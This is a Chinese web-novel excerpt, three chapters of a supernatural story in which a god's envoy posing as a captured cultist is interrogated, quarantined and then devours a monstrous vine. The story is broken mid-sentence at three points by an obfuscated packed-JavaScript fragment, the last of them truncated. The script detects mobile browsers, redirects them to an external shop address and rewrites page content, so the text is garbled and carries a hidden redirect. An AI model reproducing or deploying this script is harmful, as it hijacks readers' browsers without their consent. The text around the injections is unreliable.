《今天神使还在装乖吗?》 1. 双双落网 夜晚,没有星星,月亮也很黯淡,家家户户的灯火接连熄灭,但管控局刚刚结束一次任务。 慕初疲倦地打开问询室的屋门,她方入职半年,可这半年就和半辈子那么长,把她从活泼开朗的小女孩改造成黑眼圈很重,班味十足的社畜。 管控局在某种意义上和精神病院差不多,她们面对的对象是一帮邪/教徒,宣扬不正当的文化与价值观,蛊惑世人。 不过和精神病院差不多,是她私心这么觉得,因为邪/教徒的精神确实看上去不是很正常。 管控局距今成立已经一百五十年左右,一直在和层出不穷的邪/教斗智斗勇。 本来在一百年前,邪/教徒已经基本上被压制到销声匿迹,不知道近十年怎么了,他们又开始死灰复燃。 慕初幽幽长叹,转头看向坐在对面、灰头土脸的青年,满脸严肃:“你出现在邪教现场,到底想干什么。” 老实坐好的尤浅压下眸间的冷漠,覆上一层柔和,在听见问话后,双手乖巧地放在腿上,仰头看向着天花板,仿佛在注视着天空中的未知存在。 他的语气认真且郑重地道:“帮助真神重现世间,拯救世界于水火之中,将世人从愚昧中惊醒!” 慕初没好气地深呼吸,她盯着满脸写着认真的青年,回忆起当时的场景…… 车灯照亮废弃的马场,被黑色袍子笼罩的邪/教徒们落荒而逃,一位青年半跪在原地,以一种仿佛献祭的姿态捧着匕首。 这令下车进行追捕的执法者们眉头一跳。 他们本以为青年是受害者,可……青年追着教主一起跑了,这不得不让他们怀疑青年的身份。 而后面,调不出青年的户档信息,更是为他蒙上一层可疑的阴影。 白炽灯白晃晃的,照的人眼睛有点晕,一眼不错盯着灯看的青年,终于忍受不住地低下头揉了揉闪着泪花的眼睛。 随后又用期待的眼神看向对面不苟言笑的执法者。 ——你快说你相信我了。 慕初觉得自己在里面看见了很可疑的期盼……她在那群邪/教徒眼里也见过类似的情绪,他们传播不正确的东西,渴望别人被洗脑,被所谓的教义忽悠。 “请你认真回答,你在现场到底在做些什么?”她按了按额角,但仍然很负责任的再度询问。 慕初又给尤浅一次机会。 她无法理解这些邪/教徒宣扬的东西,也不相信世界上有神的存在,所以在她眼里,面前这位青年是在执迷不悟。 不是试图隐瞒什么,就是和邪/教徒是一伙的。 尤浅非常认真,黑色的眼瞳里尽是真挚与诚恳,被泪水浸湿,又显出几分雾蒙蒙,像融化的黑巧克力。 他呢喃地重复道:“当时……在做什么。” 他想了想临时培训的与人交际小技巧,他觉得他知道该怎么说了。 ——适当的笑容与场景再现,会让别人更信服你说的每一句话。 慕初就见面前的青年绽开一抹温柔到令人背后生寒的笑容,轻缓地娓娓道来:“我在拜神仙呀?” 拜的是哪位神仙呢? 总归不是那位站在高台、神情庄重的教主。 他们双手交叉垂放在胸口,黑色的帽檐遮住他们充溢着丑陋欲望的面容。 从高空往下看,恰如一只只黑色蚂蚁。 贪婪、丑陋,在奢求他们本不该得到的东西。 尤浅将唇角隐隐勾出一个讽刺的弧度,金黄色的头发在黑夜里也是耀眼的存在。 在昏暗的灯光下,金光闪闪,像是被埋葬的金子。 教主是他的第一个目标,却绝不是最后一个。 要抹黑教主的形象,尤浅想用邪教与他推荐的真神形成对比,拉踩邪教,使人类更偏向于真神。 “我将匕首对准我的心脏……”尤浅抬起双手,在半空中演示着。 慕初咽了咽口水,在她面前,青年的头发凌乱披撒在面上,投下的阴影骤然勾出两分诡谲。 他像是完全不在乎自己生死一样,手指点在左胸口,恍然间一把匕首出现他的掌心。 他用指节轻巧地拨动匕首,挪动着将刀尖对上自己,抵上自己的心脏。 “他很高兴我愿意奉献我的生命。”尤浅露出一点白白的上牙尖,“他用那双粗糙的手抚摸着我的头发,夸赞着!” 他适时地哽咽,面上出现一团酡红,他状似不好意思地放低声音:“乖孩子,神会铭记你。神会铭记我啊!” 他目光炽热地看向慕初:“你看,他说神会记住我哎!” 他实打实地演出一副极为狂热的态度。 慕初越听越觉得教主不是个好东西,而她面前的这位青年,她眯起眼眸,她觉得她还需要一点时间进行判断。 审讯室里,尤浅半真半假的说完这简短几句话,就向慕初点头:“这就是当时的情况,可惜,你们毁了一切。” 在匕首递到教主手里时,尤浅的呼吸都停滞一瞬,教主身上有他想要的东西,但随着管控局的到来,他的计划被彻底打乱。 尤浅面上仍然保持着笑容,虽然觉得执法者出现的不是时候,但他见人不信,以为是自己没有说服力,于是又一字一句地强调道。 “驱除不该存在的邪恶,帮助真神降临,宣扬真神教诲,救世人于危难,这就是我要做的事情。” 这些都是真神的子民,尤浅需要在这些子民的心里埋下一颗相信真神的种子。 可慕初看了只觉得心惊肉跳,她沉入尤浅的目光,只觉得黑黝黝的眼眸里堆满了病态的虔诚。 果然邪/教徒都是一群无可救药的家伙,连自己献祭自己生命这种事情都做得出来。 最后,慕初定定地看着执拗的尤浅,转头对着其他人道:“和前面那帮邪/教徒一伙的,一并送进去审问吧。” ?? 尤浅愣住了,笑容顿时变得有些僵硬起来。 啊……等一下,他怎么就和邪/教徒是一伙的了!? 他不是强调了嘛,他不是微笑了嘛,真神啊,真神!那堆邪/教徒信仰的能和真神碰瓷吗? 太过分了……尤浅闷闷不乐,脸上的笑容被他收起来,他孩子气地憋着嘴,哀怨地看着浩气凛然的执法者。 慕初置之不理,主打一个对嫌疑人冷酷无情。 “叮啦当啷。”银色手铐拴在尤浅的手腕上,随着动作带着锁链一同响出声。 “说吧,你姓什么名什么,多大了,是干什么的。” 青年垂眸瞅瞅被束缚住的双手,又瞅瞅执法者面无表情的脸,可怜巴巴的将手放下,哼哧瘪肚地挤出几个字。 “尤浅,今年25,干什么……嗯,神明代言人!” 社交小技巧第二次启动。 ——要适当的示弱与表示自己没有城府,直白与情绪波动大一点,这样会让人放松警惕。 慕初;:…… 她看着脸上写满骄傲的青年,只觉得整个人都开始头疼。 这个家伙,根本无法沟通。 之前不是没遇见过这种油盐不进的家伙,但尤浅与那些邪/教徒不一样,可具体是哪里不一样,她又说不上来。 可能是眼神,也可能是尤浅话中格外真挚的情感,如果他说的不是这些被她嗤之以鼻的东西,她没准真的会耐心听一听。 正在慕初想要呵斥尤浅,让他搞清楚目前状况时,外面有人推门而入,是另外一个执法者,在尤浅的注视下,她们窃窃私语,最终坐在座子上的执法者换人。 新来的执法者挑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299329|140213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑眉,对尤浅的信仰问题不置可否,他随手翻着现场所有邪/教徒的资料,不说话。 可他果然没有翻到尤浅的档案,于是就狐疑地打量尤浅两眼,“你为什么和那些人待在一起?你和主教是什么关系?” “我和主教,他是对我很重要的人。”他身上有我想要的东西,尤浅委婉地表达出自己的想法。 他不想让人类在现在知道太多不该知道的东西。 执法者眸光一闪:“很重要?所以你也是邪/教徒,你还备受重视?” 尤浅自然能读懂他眼神里的意思,执法者对他的怀疑更大了。 为什么会这样?他不明白。 索性就破罐子破摔,根据现实状况调整,尤浅打算把自己塑造成被洗脑的无辜者。 他不能折在这里……他的任务才刚刚开始,作为能和神明沟通的神明代言人,神明的回归需要人类相信祂们存在,不能让人类一开始就心存警戒。 “教主是一个好人,他说我的生命很重要,我要保持纯净,所以我就和他们待在一起了,他们确实很重视我。”尤浅有意无意地诱导执法者。 而执法者果然没有辜负他的用心,在听见这句话后觉得,教主他们重视的应该是青年的生命,毕竟要用来祭祀。 这个念头一出现,执法者不由得重新审视着尤浅,对于这种可能是受害者、被唬骗的邪/教徒,他们一向是采取怀柔政策。 所以在执法者滔滔不绝地劝告与试探中,尤浅又开始走神。 在他的家乡,乳白圣洁的教堂里,透过彩色玻璃,一种压在内心,未知神秘的威压沉甸甸地覆下来。 “尤浅。” 潮湿阴冷的气息蔓延,犹如毒蛇的鳞片一样,剐蹭束缚在脖子上,单简短两个字的声音里就充满许多冲击人类精神的符号与不明所以的字符。 可尤浅依然笔直地站立,仿佛丝毫没有受到影响,反而垂下脑袋,露出一截皓白的脖颈。 “神……”他静静地等待着下一步指令。 在他身后,不断祈祷的信徒眼睛与耳朵缓缓流出鲜血,但他们不敢停歇,反而祷告的更大声了。 前面的主教擦去眼角的血泪,用权杖敲击在地砖上,发出清脆的“咚咚”声,将众人驱离,而后与尤浅并肩注视着最中央的水晶球。 那里缓缓地浮现出一颗蔚蓝与碧绿混杂的星球,但是外层有黑雾笼罩,好似一只巨大的爪子,蠢蠢欲动的要将星球纳入掌心。 尤浅通过神灵在耳边的附加话语,黑色的虹膜里快速闪过一丝紫色,准确无误地读懂水晶球图像的含义。 那颗名为“蓝星”的星球正在被邪神入侵、腐蚀,他需要去到那里,驱赶外来力量,帮助蓝星的真神回归…… 这是一颗已然要沦陷的星球。 随后,他的眼中逐渐盛满兴趣与好奇,他向自己的神灵起誓:“谨遵您的命令。” 他喜欢冒险与刺激,更喜欢追逐并享受未知的疼痛与危险。 尤浅的眸子里微不可查的闪过一丝晦暗情绪,他在心中唤出一块虚拟的聊天打字框。 这个聊天框是神明和他沟通的渠道,也算是对他孤身一人来到异世界的嘉奖。 里面的神明随时都在,祂们很乐意为尤浅提供一些力所能及的帮助。 在群聊里有一张图被加入重点消息。 ——那是一张铜绿色吊牌的照片。 神明们看了又看,上面的吊牌就像是生锈了一样,极为不起眼。 可祂们却很开心,其中一个仅剩下一只眼睛的神灵将碧蓝色的眼眸贴近屏幕,仔细的观察着。 祂们在查看,这个东西是否真的被需要。 独眼收回碧蓝色眼眸,开始在群聊里打字,就连尤浅也有些期待最终结果。 2. 统统被抬走 独眼:是欲望的分支力量「求生欲」 欲望的分支力量嘛,尤浅的指尖点在桌面,欲望的分支力量促使人滑向深渊…… 也是导致这个世界邪/教徒层出不穷的罪魁祸首之一。 找到祂们,消灭祂们,只有这样,才能帮助世界离开畸变的道路。 审讯室的墙壁是深灰色的,在煞白的灯光下,倒也没有那么暗沉压抑。 可是身处其中的执法者却觉得整个屋子昏暗无光,他现在已经口干舌燥,再也提不起生气的念头。 他原本板着的脸在不知不觉中已经变得神情恍惚,可他对面的青年反而精神奕奕起来。 即便是眼眶红肿,也无法改变尤浅状态很好的这个事实。 “大人,您要相信我,我说的都是真的,教主是神派下的使者,他是来引渡我去神国的。” 尤浅越说眼睛越亮,面上格外虔诚,尤其是提到去神国时更是一派向往。 “别叫我大人……你……”执法者的内心燃起巨大的怀疑,难不成邪/教现在比传/销组织还能洗脑了吗? 不是,为什么啊? 在他引经据典、各种科学理论轮番轰炸的情况下,这个青年为什么还能是一副“为教会献出生命,我很自豪”的态度啊? 执法者有些怀疑人生。 但他十分具备职业操守,尽管已经说得麻木,那他也要从聊天中扣出线索细节,所以还得继续聊。 他喝了口水润润喉咙,打起精神和尤浅聊起教主的话题,而另外一边,对于教主和教众的审讯也在按部就班地进行中。 “所以……”负责审问教主的执法者把尤浅的照片递给他,“这是什么人?你们为什么让他当祭品?” 教主倒是挺配合的,他“哦”了一声,摆摆手:“这小伙子是我从山沟沟里捡到的,那天我们刚杀完一群猫,准备撤离时发现了他。” 他比划了一个圈:“当时他就倒在这么大的树下,眼睛也说不准是睁着的还是闭着的,以防万一我们就给带回去了。” “你们竟然没有灭口?” 老人脸上的皱纹层层叠叠地皱在一起,眼睛浑浊,充满腐朽的味道,听到这个问题,他那干巴巴的唇角上扬,露出还算是洁白的牙齿,整个表情说不出哪里怪异,但平白让执法者感受到一种凉意,从尾椎骨一直窜到头皮。 “那会也不好杀人了。” 执法者看着他掀起耷拉的眼皮,脑袋微微垂下,浑浊的眼球却拼命上翻,露出一大片带着红血丝的眼白盯着自己。 在教主整个人的神态十分诡异的情况下,执法者的喉咙干涩,唇张张合合竟没第一时间问原因。 教主哑着嗓子,夸张地咧开嘴角又重复一遍:“那会也不好杀人了。” 说完这句话后,教主任凭执法者怎么询问,都不再开口,他垂着脑袋目光涣散,不知道在想些什么。 真是邪了,先有作为祭品出现的青年,非但不唾弃教主要杀死他的行为,反而对教主说的深信不疑。 后有说到一半,神色突兀变得诡异吓人、垂着脑袋不言不语的教主。 这令执法者们的心里由衷升起一股不好的预感,他们的直觉在尖锐的发出提醒。 这个邪/教组织很有问题。 透过审讯室与观察室相连的那个单面玻璃,尤浅整个人已经趴在桌子上,他的胸膛贴近金属桌面,手臂前伸垂下卓沿,手指摆弄着那双银色手铐,口中哼着不成调的小曲,看样子很享受审讯室只有他一个人的感觉。 “这个人,不能小瞧。” 队长审视地注视着尤浅,眉目严肃,他从这个青年身上感受到一股违和感。 那股违和感是因为查不到他的资料吗? 好像不是,对于这个世界而言,没有登记自己信息的人不能说是没有。 那是哪里?那种充满不确定性,让人觉得危险的违和感在哪里? 队长的眉毛越皱越紧,最后他后退几步,招呼了方才审讯的执法者,大步走进审讯室。 尤浅支在桌面上的脑袋被一片阴影覆盖,他若有察觉地转动眼眸,透过密密的鸦羽,从缝隙中递出目光。 这位新进来的执法者看起来是个很正直的人呢,尤浅收回视线,用指甲尖怼进锁眼,自顾自的玩得开心。 直到队长拉开椅子坐下,他才装作刚发现有人进来的模样,抬起头。 “嗨?” 面对着冷脸队长,尤浅露出小小的笑容,直起腰,扣锁眼的手指挪挪,两只手搭在桌上坐好。 尤浅笑得温柔,于是队长发现那股违和感又出现了。 队长沉着张脸,浑身上下都挂满了从严冬吹来的冰雪,很不平易近人的把一沓资料摔到桌子上。 “和我说说吧,黑户,你是什么人、什么来历。” 尤浅刚想开口,就感觉脑子里的群聊叮当作响,他将除了他没人能看见的屏幕召唤出来,只见上面刷出来了好几条聊天记录。 敲钟者:黑户是什么? 天下仙:不被官方登记信息、没有记载的人口。 子孙满堂:别怕,我去睡了管这个方面的,让他把你变成不是黑户的人。@有钱 独眼:老伙计,嗯……我想你该泡泡圣水了。@子孙满堂 尤浅被艾特出来,还以为有什么正经事,没想到入眼又是没什么营养的聊天记录。 有钱:…… 青年并不想理祂们,但出于某种原因,他还是回了串省略号。 “抱歉,我不知道。”尤浅把屏幕收起来,很直接地摊手且十分真诚,“您问过教主他们了吧?” “我是在山里被捡到的,事实上,我连我是怎么出现在山中的,都没有什么印象,而之前是什么人,我更是一概不知。” 说完,他为了证明自己说的可信性,还特意地伸出一根手指拨开遮住左额的发丝。 从金黄色头发里露出来一块不规则的伤痕,那个疤痕不小,从发际线到眉梢上面,占据了瓶盖那么大的地方,暗红色的痕迹在他白净的脸上格外刺眼。 见状,队长附身凑过去,用指腹摸上青年的额头。 指尖下是微凉的皮肤,于是他又放轻力气地揉了揉,确认是真实无误的伤痕后,他缓缓地说道。 “所以你从山上发生了某些意外,然后恰好倒在教主举办仪式撤离出去的路途上,被救之后,也刚刚好的失忆了。” 队长的语调微微上扬,显然他仍然觉得这很可疑。 而尤浅则还在回味刚刚温热的触感,那种从额头传来的热意,他眯了眯眼,舌头轻轻地舔舐齿尖,暖和的…… 可惜,他不能吃了他……尤浅有些不舍的将头发拨回去,将伤遮住,再老老实实地回答。 “嗯,其实被救了之后我仔细地回忆了一下,记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299330|140213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆里的画面模模糊糊,但我感觉……我好像是被什么东西拌了一下,顺着山坡滚下去了。” 队长仍然保留着审视的目光,这个解释倒是说得通,但他觉得青年在撒谎。 他没有证据,只是萦绕在他心里的那种违和感一直没有消褪。 尤浅感受到那近乎利刃般的视线一寸一寸地扫视过自己。 队长不信任自己,尤浅瞬间得出这个结论。 但是没关系,尤浅毫不退让地对上队长的视线,刚刚哭过的眼睛仍然残留下晶莹的光,眼尾晕染出浅淡的红来,在白色的灯光下,就像是晶莹剔透的黑色琉璃。 一望无底,格外澄澈,清晰地倒映出一张严峻的脸与怀疑的眼神。 最终门再次被关上了。 尤浅把脑袋埋进手臂的弧度里,唇角的笑容咧得更大,露出森白的牙齿。 可他的心情却不怎么好,在这里待久了,一点意思都没有。 不过很快,他的心情就又好起来了。 外面安静了大概半个小时,随后就爆发出阵阵喧闹的叫喊与脚步声。 巨大地推门声响彻这间审讯室。 尤浅刚一抬头,就看见戴着手套与口罩,几乎没有皮肤裸露在外面的执法者队长快速接近。 透过遮住半张脸的口罩,依稀能看清队长的紧紧锁住的眉头,不难想象,被遮住的那边半张脸一定格外难看。 队长按住尤浅的肩膀,无视掉青年茫然无措的眼神,上下拉着尤浅看了一遍,冲着外面喊道。 “他没有病发!以防万一,一并隔离起来!” 尤浅全程没有动作,任由队长给他戴上口罩,又给他套上一个大的防护服,拉扯着拷在担架上,被前来搭手的执法者抬走。 整个过程无比丝滑,尤浅面上的神情也维持的很好,一直是懵懵的、没反应过来的。 外面的通道里,执法者配合者医护人员抬着担架匆匆从尤浅的身侧路过。 躺在担架上的尤浅稍稍探头,哟,上面的还是熟人呢! 借着这一眼,快速看清人脸的尤浅感叹,原来是教主大人。 白色的被单盖住教主苍老的身体,露在外面的面部已经布满肿胀的血管,那些血管凸起将皮肤撑的几近透明,隐约可见红色的血液在里面流淌。 匆匆一瞥中,老人死死地闭着眼,神色痛苦狰狞。 枯瘦的手指貌似还在紧紧地抓着白色被单,身体各处的青筋暴起,直到远去,那低沉地嘶吼与痛呼也没有消失。 尤浅若有所思地收回目光,安安稳稳地躺在担架上,享受着被人抬着走的过程。 话说那鼓起来的皮肉里……是不是进了几只蠕动的粉虫子?尤浅从脑子里反反复复地回看那一眼。 最终确认,是的,教主的身体里有一堆这种虫子。 那些虫子正一环一环的弓着身子,把教主的血肉当做巢穴,在血管里肆无忌惮地钻来钻去,为他带来难忍的疼痛。 怪不得叫得如此凄惨,尤浅扯了扯唇线。 哎,不过事情变得又麻烦了一点,那个铜绿色的牌牌,还得想别的法子拿到才行。 欲望分支力量——求生欲,呵,倒真是符合教主这个苍老,已经半步踏入死亡的老人。 尤浅有些头疼,这个世界和他的家乡区别很大,而条条框框更是让他不自在极了。 他需要慢慢适应。 3. 把好吃的炫下去 急救车闪着的灯光一频一频地敲打着队长的心脏,不止是教主,其它教众也出现了类似的反应。 从审讯室出来的执法者还算镇定,审讯室里面的监控与录像足以证明他们的清白。 救护车走了一批,而另外一批还在路上。 尤浅和其它未发病的教众躺成一排,托着他们的担架有序的在走廊里排成长队。 队长的脸更黑了,不过尤浅却觉得队长的心脏还需要更强大一点,至少要强大到能接受教主死亡的消息。 尤浅默不作声的面对墙壁,闭上眼睛旁若无人地走神。 那个教主得了致死的癌症,一直以来还能活蹦乱跳,全要归功于【欲望】。 暂且不提他信仰的教派是真是假,但和铜牌有关的异端是真的。 他长期佩戴着铜牌日复一日地祈祷,没有智慧的牌子感受到他地渴求,于是下意识地对他的身体进行改造。 癌症对于铜牌而言,是占据地盘的杂虫,它不允许它看上的东西被占领。 于是,教主苟延残喘地活到现在。 尤浅睁眼,他翻过身,与停在他面前的队长对视。 他不解地晃了晃自己手腕上的手铐:“您在担心我逃跑吗?” 队长的手揣在裤兜里,捏紧了里面的烟盒,平复下心情才道:“你的身体有没有什么不适,”他朝门口的方向抬了抬下巴,“就像那些人那样。” “不……没有。”尤浅摇摇头,不过他想到了一个好玩的点子。 于是他意味深长的,“您知道蛊虫吗?”这也是他觉得最合适、最能被接受的解释。 出乎意料的,队长的眼神堪称茫然,就和第一次听到这个词汇似的,“那是什么?” 啊…… 尤浅将后续的话咽下去,他知道伴随着神灵隐匿,记载会有一个断层与缺失,但他真的没想到记载会缺失的这么严重…… 连蛊虫都不知道了吗?他了解到的都比这些本土人了解的多。 尤浅以一种别扭的姿势从担架上坐起来,将这些概念大致复述一遍。 尤浅语速被放得比较慢,他生怕说得快一点队长就要听不懂。 不过队长听是听懂了,但他觉得青年讲述的不一定准确,毕竟青年仍有嫌疑。 按队长的理解,这就类似于古代用毒控制人办事,最后再给解药的那种,把不致死的虫卵放进人体内,然后虫子在体内快乐寄生,直到孵化闹腾,让人的身体出现反应。 只不过,这位忠诚的信徒为这种能被科学解释的东西披上一层神秘的外衣罢了。 队长看了看外面,救护车还没到,于是他又转回头看向尤浅,追问道:“如果是这样,把虫子解剖出来是不是就没问题了?” 尤浅不解地挑眉,他没想到队长竟然真的抱有想救人的心思,心中快要熄灭的兴致再度燃起。 “不是的,教主……”尤浅抿唇,眉眼垂下,缓慢地摇摇头:“他不太可能活下来了。” “……嗯?” 队长神情复杂的将身子前倾,盯着自己面前这个貌似在难过的青年,“什么意思?” 当然是因为,那些异变是不可控制的啊。 老人消瘦可怖的面容浮现,尤浅压抑着不让自己嗤笑出声,控制着在头颅低垂的阴影中,近乎嘲弄地勾起唇角。 只有懦弱者才会逃避死亡,当教主开始畏惧死亡,并妄想用别人的命来帮助他欺骗死亡,他就踏上了一条极其错误的路。 那是一条无法回头的路。 任何力量都要付出代价,如果没有铜牌在缓慢地改造教主的身体,教主早就因为全身溃烂而死。 铜牌想让教主成为「求生欲」,但显然,它失败了,诚然教主怕死怕的不得了,但是他岁数太大、身体太差,根本承受不了哪怕一丁点的力量。 “他是组织首领,传染源大概率是他吧。”尤浅的语调轻飘飘的,被风一吹就散,他收敛好表情抬眉,眉间夹着几丝怜悯。 队长到底还是把打火机掏出来了,他在手中把玩着打火机,面上重归平静。 “咔塔,咔塔。” 打火机的盖不断地被掀开又被按上,在有节奏的声音中,他对于尤浅的忌惮在逐层加深。 这个青年……现在都不伪装了吗?他有些疑惑,也有些摸不清尤浅的意图。 队长现在想要抽一根烟,但不行,于是他又道:“你是不是还有话没说完?” 其实还有很多话没说完,透过玻璃的月光照亮尤浅的半侧脸,柔和的光模糊轮廓。 “那些教徒,他们体内也有虫子,但命运总是宽容的,只要他们真诚忏悔。”或许神会让他们死得更轻松一些? 尤浅浓密的睫毛轻颤着投下剪影,衬得眉眼泛出莫名的阴翳,说出来话分明是在正常不过的,但来到队长耳侧却显得怪异极了。 尤浅并没有注意到队长的感受,他只想说完这些话就静静地等待结果,权当看一场精彩的戏剧,而这些信息就是报酬。 而事情的发展显然不会朝他喜欢的方向去。 队长站在尤浅面前,危险的目光盯着他的后颈,居高临下道:“你真的很可疑啊,一开始你说自己失忆了,现在又跳出来说了一堆。” 尤浅慢吞吞地挪动下身子,略显宽松的衣服领口敞开,露出拥有骨窝的锁骨,而被布料遮盖的地方,则是因为将后颈暴露在外,感到不安而绷紧的肌肉。 身型显得清瘦的青年其实并不羸弱,他很快地放松下来,调整好自己的状态。 尤浅颇为苦恼,真是奇怪,他哪里可疑了,他明明已经很诚实地往外透露信息了? 前二十五年的社交经验在这边完全不起作用,靠自己摸索已经很累了,但是效果怎么看也不是很完美的样子。 尤浅头一次对自己买的书产生怀疑,《论万人迷在全宇宙的交友》——到底是哪儿出错了…… 尤浅心知面前的人不好糊弄,短暂地开完小差便又像没事人一样牵起笑。 “没有啊,之前的祭祀,他们都成功了,这些……都是他们说的。”尤浅说的理所当然,他毫不犹豫的直接甩锅。 算了,暂时还不到追究的时候,队长定定地看了一会,到底还是挪开视线,而恰好前来接人的救护车也到了。 于是尤浅假笑着向队长一点头,被运往医院。 刚被抬进传染病隔离大楼,尤浅就下意识地绷紧肌肉,危险预警在提醒他,这里不太对! 他假装自然、犹豫地看向四周,目光在指示标识上停留,装成正常人观察、熟悉环境的模样,趁机寻找异常。 干净洁白的墙正常、值班的护士正常、电梯正常、正常绿植正……不对,绿植不正常。 在扶梯左边的一盆再普通不过的植物上面长满了枯黄色的藤蔓,人类看不见它们,它们歪七扭八地缠绕在枝干上,几片叶子在有人路过时兴奋地凑近抖抖。 有时会迫不及待地拽出一团白光吸收,不过大多数时间都是萎靡不振的再缩回去,等待下一个人经过。 没有人发现角落里的枯黄藤蔓与白光,那些人都很正常地路过又离开。 尤浅迟疑地挪开视线,随后又克制不住地挪回到去,最终,他喉结滚动咽下口水,靠着自己强大的意志力,再次挪开! 吸溜——想吃,吸溜——好香,吸溜——吃吃吃,尤浅的影子突然蠕动了一下。 尤浅刚压抑住咬藤蔓一口的冲动,在猝不及防间,欲望又被勾了起来。 影子里的是他的宠物……蠢货一个。 青年状似疲倦地阖上双眸,任由护士推他进入隔离室。 这是他所有见过的异类生物中看起来最好吃的。 不过尤浅目前还不想节外生枝。 防护又上一层、身上已经把裸露皮肤全保护起来的执法者将他的手铐解开,复又拷在床侧的栏杆上。 尤浅等护士与执法者都离开隔离室后,才缓慢地屈指擦过唇角。 他安安稳稳地躺在床上,打算依靠梦乡屏蔽食欲,而他的呼吸逐渐在黑暗里变得规律又绵长。 就在这时,薄薄的窗帘被风卷起,细微的动静顺着窗边延续进屋子。 窗户被推开了。 一枝探头探脑的枝干摇晃地钻进来,在昏暗的房间内,月光照出一抹张牙舞爪、笼罩在床上的影子。 ——藤蔓的影子在尤浅身上划出几道黑线。 过了几秒,那根细长的枝干开始火速生长,眨眼间就变长、变粗了一截,它试探性的往青年身上戳戳。 尤浅没有反应。 于是它又戳了戳,这回它刻意加大了力气。 尖锐的枝条末梢将皮肤捅的凹陷泛红,很快就有几滴血珠渗出,淌到树叶上。 藤蔓枝干猛地向后蜷缩。 好浓郁的生命力!植物品尝到甜猩血液里蕴含的气息,不禁被刺激的越发猖狂。 绿色的枝干变得坚韧又柔软,在房间内蜿蜒盘旋,它在克制自己不要打草惊蛇,它要慢慢的将诱人可口、不知道危险即将到来的猎物束缚住。 它的身体是一节一节的,看上去直直愣愣,但那几根类似触手的东西却十分灵活。 就当它们挥舞着即将再次碰到尤浅的那一刻,尤浅翻过身子,一双澈亮的眼眸弯弯,似乎心情很好地注视着停在半空中的植物枝干。 异类植物显然没想到这个人醒了,被吓了一跳。 枝条呆呆地僵硬在空中,不知是要带着被发现的惶恐逃跑,还是要一鼓作气,趁着人类尖叫之前把人类解决掉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299331|140213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >勾在空气里的枝条不理解眼前的人类为什么看上去一点也不害怕,但是……脑容量本就不大的它,闻着空气中淡淡的血味,想到方才浅尝到的生命力,仅剩的那点谨慎消失不见。 可能这个人类是以为他在做梦吧。 植物草草地下定结论,枝干触手“嗖——”的一下,就要捂住尤浅的嘴,生怕这个好吃的食物反应过来闹出动静。 在植物眼中,瞧起来文弱没有反抗能力的尤浅优雅又精准地抓住枝条,现在这个枝条的粗细是尤浅将将能握住的那种,整体类似于果冻的手感——冰凉Q弹。 他并没有很用力,手指只是微微陷下,但却能很有效的控制住枝干的行动,让它动弹不得。 ?? 植物先是感受到被猎物羞辱的愤怒,随后是无数惊恐涌上。 它发现不仅仅是被抓住的枝干不能动,而是整个身体都动不了了! 仿佛察觉到植物内心所想,它面前那个可恶的人类漫不经心地笑了两声。 “接触到生物皮肤就立刻生效,观星血肉出品,好用又便宜。” 尤浅抓着类似于触手的枝干,稍稍翘起手指,修剪圆润的指甲上闪着淡淡的白色碎光,他面上露出一个小小的笑容。 观星血肉是他家乡的一个派系,信仰着【编织星云的蓝雾】,专注于创造发明各种奇奇怪怪的东西。 “嘻嘻……”音量轻浅,而更显空灵诡异的笑声在屋内响起。 尤浅的影子涨大,从里面跳出来一团漆黑的小生物,它长得和病毒似的,身体两侧垂着无数触须。 它蹦跶着将自己弹到一根枝条上,身体软乎乎地向内凹陷,将枝条包裹在体内,触须也牢牢地困住无法挣扎的植物。 脆生生的咀嚼音咔嚓咔嚓地响起。 尤浅手中的与垂在半空中的触手竟然在细微地颤动。 他的鼻尖尽是“美食”的气息,猎物近在眼前,宠物也吃得很香,尤浅不觉得在此刻顺从欲望有什么过错。 面容俊美的青年姿势奇怪地坐起来,将触手抓到嘴边,伸出舌头轻轻地舔舐植物表层,将内里渗出的水液舔干,液体冰凉,但让胃部的饿意更为焦躁滚烫。 软软的表皮瞬间被他的牙齿刺穿,甘甜含着草木香的汁水滋润着他有些干裂起皮的嘴唇,几股清清凉凉的液体流进口腔,沿着食管滚进胃里。 “咕噜咕噜……” 尤浅的眼睛在不知不觉中变成暗紫色,他大口大口地吮吸吞咽,很快这只饱满的翠绿色的触手就萎缩成干巴巴的模样,被尤浅捏碎,消弭在空气中。 味道和他想象的一模一样,甚至要更美味一点。 青年意犹未尽地舔唇,那双骨节分明的手扶上腹部,掌心贴着蠕动的肠道。 还是不够……还想要…… 他看向垂在空中的、已经半死不活的触手枝条,伸手一捞,用堪称温柔的力度将触手捧起,而触手在恐惧地颤抖,可它无力反抗。 